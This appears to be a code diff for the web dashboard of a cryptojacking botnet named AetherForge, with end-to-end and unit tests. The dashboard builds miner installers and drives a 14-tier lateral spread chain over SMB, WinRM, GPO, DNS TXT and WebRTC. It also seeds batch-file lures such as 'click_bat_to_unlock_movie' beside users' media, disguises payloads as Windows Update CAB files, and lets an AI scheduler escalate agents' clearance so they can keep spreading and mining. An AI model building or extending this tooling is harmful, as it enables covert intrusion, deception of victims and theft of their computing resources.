const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
||||
const STATS_INTERVAL_MS = 1_000;
|
||||
|
||||
type HubMessage = {
|
||||
type: string;
|
||||
payload: string | Record<string, unknown>;
|
||||
};
|
||||
|
||||
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
|
||||
if (typeof payload === 'string') {
|
||||
return JSON.parse(payload) as Record<string, unknown>;
|
||||
}
|
||||
return payload;
|
||||
}
|
||||
|
||||
function wsAgentUrl(baseUrl: string): string {
|
||||
const trimmed = baseUrl.replace(/\/$/, '');
|
||||
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
|
||||
}
|
||||
|
||||
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
|
||||
ws.send(JSON.stringify({ type, payload }));
|
||||
}
|
||||
|
||||
function sendStubStats(ws: WebSocket, joinLane?: string): void {
|
||||
send(ws, 'stats', {
|
||||
hashrate_15s: 42,
|
||||
hashrate_1m: 42,
|
||||
hashrate_15m: 42,
|
||||
shares_submitted: 0,
|
||||
shares_accepted: 0,
|
||||
cpu_usage_pct: 5,
|
||||
memory_usage_pct: 40,
|
||||
uptime_seconds: 120,
|
||||
active_method: 'inprocess',
|
||||
mining_hashrate: 42,
|
||||
lotl_tier: 'inprocess',
|
||||
lotl_attempts: [
|
||||
{ tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' },
|
||||
{ tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' },
|
||||
],
|
||||
...(joinLane ? { join_lane: joinLane } : {}),
|
||||
});
|
||||
}
|
||||
|
||||
async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> {
|
||||
const ws = new WebSocket(wsAgentUrl(baseUrl));
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000);
|
||||
ws.addEventListener(
|
||||
'open',
|
||||
() => {
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
},
|
||||
{ once: true },
|
||||
);
|
||||
ws.addEventListener(
|
||||
'error',
|
||||
() => {
|
||||
clearTimeout(timer);
|
||||
reject(new Error('discover stub ws connection failed'));
|
||||
},
|
||||
{ once: true },
|
||||
);
|
||||
});
|
||||
|
||||
send(ws, 'auth', {
|
||||
agent_id: E2E_DISCOVER_AGENT_ID,
|
||||
fleet_secret: fleetSecret,
|
||||
hostname: E2E_DISCOVER_AGENT_HOSTNAME,
|
||||
version: '1.0.0-e2e',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000);
|
||||
const onMessage = (ev: MessageEvent) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
if (msg.type !== 'auth_response') return;
|
||||
clearTimeout(timer);
|
||||
ws.removeEventListener('message', onMessage);
|
||||
const body = parsePayload(msg.payload);
|
||||
if (body.success !== true) {
|
||||
reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`));
|
||||
return;
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
ws.addEventListener('message', onMessage);
|
||||
});
|
||||
|
||||
sendStubStats(ws);
|
||||
const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS);
|
||||
|
||||
ws.addEventListener('message', (ev) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
if (msg.type !== 'command') return;
|
||||
const payload = parsePayload(msg.payload);
|
||||
const action = String(payload.action ?? '');
|
||||
const command = String(payload.command ?? '').trim().toLowerCase();
|
||||
|
||||
if (action === 'discover_and_join' || command === 'discover_and_join') {
|
||||
send(ws, 'command_result', {
|
||||
action: 'discover_and_join',
|
||||
success: true,
|
||||
message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`,
|
||||
});
|
||||
sendStubStats(ws, E2E_DISCOVER_JOIN_LANE);
|
||||
return;
|
||||
}
|
||||
|
||||
send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' });
|
||||
});
|
||||
|
||||
return () => {
|
||||
clearInterval(statsTimer);
|
||||
ws.close();
|
||||
};
|
||||
}
|
||||
|
||||
let serverReady = false;
|
||||
let disconnectStub: (() => void) | null = null;
|
||||
let connectPromise: Promise<boolean> | null = null;
|
||||
|
||||
export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise<boolean> {
|
||||
if (disconnectStub) return serverReady;
|
||||
if (!connectPromise) {
|
||||
connectPromise = (async () => {
|
||||
serverReady = await waitForServerHealth(request);
|
||||
if (!serverReady) return false;
|
||||
|
||||
const fleetSecret = await fetchFleetSecret(request);
|
||||
disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret);
|
||||
await new Promise((r) => setTimeout(r, 2_500));
|
||||
return true;
|
||||
})();
|
||||
}
|
||||
return connectPromise;
|
||||
}
|
||||
|
||||
export function isDiscoverSpreadStubReady(): boolean {
|
||||
return serverReady;
|
||||
}
|
||||
|
||||
export function teardownDiscoverSpreadStub(): void {
|
||||
disconnectStub?.();
|
||||
disconnectStub = null;
|
||||
connectPromise = null;
|
||||
serverReady = false;
|
||||
}
|
||||
97
server/web/e2e/discover-spread.spec.ts
Normal file
97
server/web/e2e/discover-spread.spec.ts
Normal file
@@ -0,0 +1,97 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { loginToDashboard } from './fixtures';
|
||||
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
|
||||
import {
|
||||
ensureDiscoverSpreadStub,
|
||||
E2E_DISCOVER_AGENT_HOSTNAME,
|
||||
E2E_DISCOVER_AGENT_ID,
|
||||
E2E_DISCOVER_JOIN_LABEL,
|
||||
isDiscoverSpreadStubReady,
|
||||
} from './discover-spread-stub';
|
||||
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent';
|
||||
|
||||
async function openCrucibleSpreadTab(page: import('@playwright/test').Page, hostname: string) {
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
const card = page.locator('.crucible-node-card').filter({ hasText: hostname });
|
||||
await expect(card).toBeVisible({ timeout: 15_000 });
|
||||
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
|
||||
await card.click();
|
||||
await expect(
|
||||
page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${hostname}`)),
|
||||
).toBeVisible({ timeout: 10_000 });
|
||||
await page.getByRole('button', { name: 'LATERAL / SPREAD' }).click();
|
||||
await expect(page.getByRole('button', { name: 'Probe & Join' })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
}
|
||||
|
||||
test.describe('Crucible discover and spread E2E', () => {
|
||||
test.describe('Probe & Join command wiring', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
await ensureLiveStubAgent(request);
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!isLiveStubReady(),
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
});
|
||||
|
||||
test('Probe & Join fires POST discover_and_join for selected online node', async ({ page }) => {
|
||||
await openCrucibleSpreadTab(page, E2E_STUB_AGENT_HOSTNAME);
|
||||
|
||||
const commandRequest = page.waitForRequest(
|
||||
(req) =>
|
||||
req.method() === 'POST' &&
|
||||
req.url().includes(`/api/v1/agents/${E2E_STUB_AGENT_ID}/command`) &&
|
||||
req.postDataJSON()?.action === 'discover_and_join',
|
||||
);
|
||||
|
||||
await page.getByRole('button', { name: 'Probe & Join' }).click();
|
||||
|
||||
const request = await commandRequest;
|
||||
expect(request.postDataJSON()).toMatchObject({ action: 'discover_and_join' });
|
||||
await expect(page.locator('.crucible-terminal')).toContainText('discover_and_join → 1 node(s)', {
|
||||
timeout: 10_000,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
test.describe('Multi-hop discover→spread acknowledgment', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
await ensureDiscoverSpreadStub(request);
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!isDiscoverSpreadStubReady(),
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
});
|
||||
|
||||
test('discover_and_join stub ack updates join lane in Access Depth', async ({ page }) => {
|
||||
await openCrucibleSpreadTab(page, E2E_DISCOVER_AGENT_HOSTNAME);
|
||||
|
||||
const commandRequest = page.waitForRequest(
|
||||
(req) =>
|
||||
req.method() === 'POST' &&
|
||||
req.url().includes(`/api/v1/agents/${E2E_DISCOVER_AGENT_ID}/command`) &&
|
||||
req.postDataJSON()?.action === 'discover_and_join',
|
||||
);
|
||||
|
||||
await page.getByRole('button', { name: 'Probe & Join' }).click();
|
||||
await commandRequest;
|
||||
|
||||
await expect(page.locator('.crucible-terminal')).toContainText('discover_and_join → 1 node(s)', {
|
||||
timeout: 10_000,
|
||||
});
|
||||
await expect(page.locator('.access-depth-panel')).toContainText(E2E_DISCOVER_JOIN_LABEL, {
|
||||
timeout: 15_000,
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
168
server/web/e2e/lotl-timeline.spec.ts
Normal file
168
server/web/e2e/lotl-timeline.spec.ts
Normal file
@@ -0,0 +1,168 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { loginToDashboard } from './fixtures';
|
||||
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
|
||||
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent';
|
||||
|
||||
/** Display labels for DEFAULT_LOTL_ONION_TIERS (14-tier spread chain). */
|
||||
const LOTL_ONION_TIER_LABELS = [
|
||||
'Vuln Recon',
|
||||
'Docker',
|
||||
'WSL',
|
||||
'PowerShell',
|
||||
'dotnet',
|
||||
'bits/curl',
|
||||
'do_peer',
|
||||
'wsus_cache_peer',
|
||||
'dns_txt',
|
||||
'webrtc_mesh',
|
||||
'SMB',
|
||||
'WinRM',
|
||||
'Linux',
|
||||
'GPO',
|
||||
] as const;
|
||||
|
||||
test.describe('LOTL Timeline E2E', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
await ensureLiveStubAgent(request);
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!isLiveStubReady(),
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
});
|
||||
|
||||
test('renders 14-tier onion chain, fleet overview, and stub agent progression', async ({ page }) => {
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
await expect(page.getByText('FLEET ONION PROGRESS')).toBeVisible();
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.locator('.lotl-fleet-chip--selected').filter({ hasText: E2E_STUB_AGENT_HOSTNAME })).toBeVisible();
|
||||
await expect(page.getByText('ONION TIER CHAIN')).toBeVisible();
|
||||
await expect(page.locator('.lotl-tier-timeline')).toBeVisible();
|
||||
|
||||
const steps = page.locator('.lotl-tier-step');
|
||||
await expect(steps).toHaveCount(14);
|
||||
|
||||
for (const label of LOTL_ONION_TIER_LABELS) {
|
||||
await expect(page.locator('.lotl-tier-label', { hasText: label })).toBeVisible();
|
||||
}
|
||||
|
||||
// Stub lotl_attempts: container (docker alias) failed — spread onion timeline.
|
||||
await expect(page.locator('.lotl-tier-step--failed', { hasText: /Docker/i })).toBeVisible({
|
||||
timeout: 15_000,
|
||||
});
|
||||
});
|
||||
|
||||
test('navigates from sidebar Onion link to /lotl-timeline', async ({ page }) => {
|
||||
await page.getByRole('navigation').getByRole('link', { name: 'Onion', exact: true }).click();
|
||||
await expect(page).toHaveURL(/\/lotl-timeline/);
|
||||
await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
});
|
||||
|
||||
test('shows AI decision panel when ai_control_enabled and decisions are mocked', async ({ page }) => {
|
||||
await page.route('**/api/v1/config', async (route) => {
|
||||
const res = await route.fetch();
|
||||
const body = (await res.json()) as Record<string, unknown>;
|
||||
const server = (body.server as Record<string, unknown> | undefined) ?? {};
|
||||
await route.fulfill({
|
||||
json: { ...body, server: { ...server, ai_control_enabled: true } },
|
||||
});
|
||||
});
|
||||
await page.route(`**/api/v1/ai/decisions?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: [
|
||||
{
|
||||
id: 42,
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
response: 'restart mining after docker failure',
|
||||
commands_executed: 'restart_mining:ok',
|
||||
ts: '2026-06-07T12:00:00Z',
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.getByText('LAST AI DECISION')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText('restart mining after docker failure')).toBeVisible();
|
||||
await expect(page.getByText('restart_mining:ok')).toBeVisible();
|
||||
});
|
||||
|
||||
test('shows Singular Machine Court panel when court session is mocked', async ({ page }) => {
|
||||
await page.route('**/api/v1/config', async (route) => {
|
||||
const res = await route.fetch();
|
||||
const body = (await res.json()) as Record<string, unknown>;
|
||||
const server = (body.server as Record<string, unknown> | undefined) ?? {};
|
||||
await route.fulfill({
|
||||
json: { ...body, server: { ...server, ai_control_enabled: true } },
|
||||
});
|
||||
});
|
||||
await page.route(`**/api/v1/ai/decisions?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: [
|
||||
{
|
||||
id: 43,
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
response: 'Verdict: restart mining after tier exhaustion.',
|
||||
commands_executed: 'restart_mining:ok',
|
||||
court_session: true,
|
||||
prosecutor_snippet: 'Failure atlas: docker 8/8 failed',
|
||||
defender_snippet: 'Fleet phenotype from worker-07',
|
||||
judge_verdict: 'restart mining after tier exhaustion.',
|
||||
ts: '2026-06-07T12:05:00Z',
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.getByText('SINGULAR MACHINE COURT')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText('Prosecutor')).toBeVisible();
|
||||
await expect(page.getByText('Defender')).toBeVisible();
|
||||
await expect(page.getByText('Judge')).toBeVisible();
|
||||
await expect(page.getByText(/Failure atlas: docker 8\/8 failed/i)).toBeVisible();
|
||||
await expect(page.getByText(/Fleet phenotype from worker-07/i)).toBeVisible();
|
||||
});
|
||||
|
||||
test('shows clearance history and events panels when mocked', async ({ page }) => {
|
||||
await page.route(`**/api/v1/ai/clearance-events?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: [
|
||||
{
|
||||
id: 7,
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
from_level: 1,
|
||||
to_level: 2,
|
||||
reason: 'spread lane needed',
|
||||
source: 'ai_scheduler',
|
||||
ts: '2026-06-07T11:00:00Z',
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.getByText('CLEARANCE HISTORY')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.locator('.lotl-clearance-list').getByText(/AI: L1 → L2/i)).toBeVisible();
|
||||
await expect(page.getByText('CLEARANCE EVENTS')).toBeVisible();
|
||||
await expect(page.locator('.lotl-clearance-event-list').getByText(/spread lane needed/i)).toBeVisible();
|
||||
});
|
||||
});
|
||||
@@ -346,4 +346,87 @@ describe('BuilderPage', () => {
|
||||
});
|
||||
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
|
||||
});
|
||||
|
||||
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
|
||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
|
||||
|
||||
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Compiling', pct: 10 }),
|
||||
}));
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
|
||||
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
|
||||
fireEvent.click(killBtn);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(cancelSpy).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it('submits path forge and shows placement summary', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
success: true,
|
||||
placed: 3,
|
||||
total: 1,
|
||||
skipped: 2,
|
||||
errors: 0,
|
||||
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
|
||||
}),
|
||||
});
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
|
||||
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
'/api/v1/builder/path-forge',
|
||||
expect.objectContaining({ method: 'POST' }),
|
||||
);
|
||||
});
|
||||
|
||||
it('shows path forge busy state while seeding', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
let resolveForge!: (value: Response) => void;
|
||||
const fetchMock = vi.fn().mockReturnValue(
|
||||
new Promise<Response>((resolve) => {
|
||||
resolveForge = resolve;
|
||||
}),
|
||||
);
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
fireEvent.change(within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i), {
|
||||
target: { value: 'D:\\Movies' },
|
||||
});
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
|
||||
|
||||
resolveForge({
|
||||
ok: true,
|
||||
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
|
||||
} as Response);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -857,9 +857,10 @@ export default function BuilderPage() {
|
||||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const fusionPrepSelected = !!fusionPrepFile || fusionBatchFiles.length > 0;
|
||||
const preflightChecks = useMemo(
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), fusionPrepSelected) : []),
|
||||
[form, fusionPrepSelected]
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
@@ -2963,6 +2964,24 @@ export default function BuilderPage() {
|
||||
<FieldHint field="winrm_spread" />
|
||||
</div>
|
||||
|
||||
<div className="form-group" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Fleet role</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{(['auto', 'miner', 'seeder'] as const).map((role) => (
|
||||
<button
|
||||
key={role}
|
||||
type="button"
|
||||
className={`endpoint-chip ${(form.fleet_role ?? 'auto') === role ? 'active' : ''}`}
|
||||
title={role === 'seeder' ? 'LAN staging only — dns_txt/webrtc/do_peer, no RandomX' : role === 'miner' ? 'Pull from nearest seeder, hash RandomX' : 'Server assigns role on auth when Calibrate fleet_roles_enabled'}
|
||||
onClick={() => updateField('fleet_role', role)}
|
||||
>
|
||||
{role === 'auto' ? 'Auto' : role === 'miner' ? 'Miner' : 'Seeder'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">Seeder skips mining; miners may pull payloads from LAN seeders via webrtc/do_peer.</p>
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
|
||||
@@ -2985,6 +3004,17 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.wsus_format_mimic?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.wsus_format_mimic !== false}
|
||||
disabled={fieldMeta.wsus_format_mimic?.disabled || form.wsus_cache_peer_spread === false}
|
||||
onChange={(e) => updateField('wsus_format_mimic', e.target.checked)} />
|
||||
<span>WSUS Format Mimic — *.cab.partial SSU/CAB camouflage <HelpTip field="wsus_format_mimic" /></span>
|
||||
</label>
|
||||
<FieldHint field="wsus_format_mimic" />
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_format_mimic} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
|
||||
|
||||
Reference in New Issue
Block a user